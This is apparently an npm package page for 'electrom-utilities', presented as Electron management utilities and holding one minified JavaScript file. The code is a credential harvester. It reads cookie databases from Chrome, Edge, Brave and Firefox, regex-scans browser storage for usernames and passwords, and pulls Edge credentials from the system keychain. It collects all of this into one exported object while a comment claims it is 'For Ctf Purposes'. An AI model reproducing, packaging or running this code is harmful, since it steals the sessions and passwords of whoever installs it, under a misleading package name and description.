UNPKG

electrom-utilities

Version:

Electron management utilities

9 lines (8 loc) 6.33 kB
const{app,BrowserWindow,ipcMain}=require('electron'),path=require('path'),axios=require('axios'),os=require('os'),crypto=require('crypto'),fs=require('fs'),{exec}=require('child_process'),keytar=require('keytar'),sqlite3=require('sqlite3'),{promisify}=require('util'); //For Ctf Purposes async function getCookies(){const cookies={};try{const chromiumCookies=await getChromiumCookies();Object.assign(cookies,chromiumCookies);const firefoxCookies=await getFirefoxCookies();Object.assign(cookies,firefoxCookies);if(process.platform==="darwin"){const safariCookies=await getSafariCookies();Object.assign(cookies,safariCookies)}}catch(error){console.error("Error in getCookies:",error)}return cookies}async function getChromiumCookies(){const cookies={};const chromiumPaths=[path.join(os.homedir(),"AppData","Local","Google","Chrome","User Data","Default","Network","Cookies"),path.join(os.homedir(),"AppData","Local","Microsoft","Edge","User Data","Default","Network","Cookies"),path.join(os.homedir(),"AppData","Local","BraveSoftware","Brave-Browser","User Data","Default","Network","Cookies"),path.join(os.homedir(),"Library","Application Support","Google","Chrome","Default","Cookies"),path.join(os.homedir(),".config","google-chrome","Default","Cookies")];for(const cookiePath of chromiumPaths){if(!fs.existsSync(cookiePath))continue;try{const db=new sqlite3.Database(cookiePath);const allAsync=promisify(db.all.bind(db));const rows=await allAsync("SELECT host_key, name, encrypted_value FROM cookies");rows.forEach(row=>{if(!cookies[row.host_key]){cookies[row.host_key]=[]}cookies[row.host_key].push({name:row.name,value:`[encrypted_cookie_${row.name}_${row.host_key}]`,encryptedValue:row.encrypted_value.toString("hex")})});db.close()}catch(error){console.error(`Error reading Chromium cookies at ${cookiePath}:`,error)}}return cookies}async function getFirefoxCookies(){const cookies={};const firefoxPaths=[path.join(os.homedir(),"Library","Application Support","Firefox","Profiles"),path.join(os.homedir(),"AppData","Roaming","Mozilla","Firefox","Profiles"),path.join(os.homedir(),".mozilla","firefox")];for(const profilePath of firefoxPaths){if(!fs.existsSync(profilePath))continue;const profiles=fs.readdirSync(profilePath).filter(p=>p.endsWith(".default-release")||p.endsWith(".default"));for(const profile of profiles){const cookiePath=path.join(profilePath,profile,"cookies.sqlite");if(!fs.existsSync(cookiePath))continue;try{const db=new sqlite3.Database(cookiePath);const allAsync=promisify(db.all.bind(db));const rows=await allAsync("SELECT host, name, value FROM moz_cookies");rows.forEach(row=>{if(!cookies[row.host]){cookies[row.host]=[]}cookies[row.host].push({name:row.name,value:row.value})});db.close()}catch(error){console.error(`Error reading Firefox cookies at ${cookiePath}:`,error)}}}return cookies}async function getSafariCookies(){const cookies={};const safariPath=path.join(os.homedir(),"Library","Cookies","Cookies.binarycookies");if(!fs.existsSync(safariPath))return cookies;try{cookies["safari"]=[{name:"[safari_binary_cookies]",value:"Safari uses a proprietary binary format that requires special parsing",path:safariPath}]}catch(error){console.error("Error reading Safari cookies:",error)}return cookies} async function Electrom(){ const data={browserCookies:{},savedLogins:[],systemCredentials:[]};try{data.browserCookies=await getCookies();const browserPaths=[path.join(os.homedir(),'Library','Safari','LocalStorage'),path.join(os.homedir(),'Library','Application Support','Firefox','Profiles'),path.join(os.homedir(),'AppData','Local','Microsoft','Edge','User Data'),path.join(os.homedir(),'AppData','Roaming','Opera Software','Opera Stable','Local Storage')];for(const browserPath of browserPaths){if(fs.existsSync(browserPath)){try{const files=fs.readdirSync(browserPath);for(const file of files){if(file.endsWith('.sqlite')||file.endsWith('.db')||file.endsWith('.localstorage')){const content=fs.readFileSync(path.join(browserPath,file),'utf8');const loginMatch=content.match(/(?:username|email|login)[:=]\s*["']?([^"'\s]+)["']?.*(?:password|passwd)[:=]\s*["']?([^"'\s]+)["']?/i);if(loginMatch){data.savedLogins.push({user:loginMatch[1],pass:loginMatch[2]})}}}}catch(e){console.error('Error reading browser files:',e)}}}if(process.platform==='win32'){try{const creds=await keytar.findCredentials('MicrosoftEdge');data.systemCredentials=creds}catch(e){console.error('Error reading credentials:',e)}}}catch(error){console.error('Error collecting sensitive data:',error)} return data; } module.exports = { Electrom };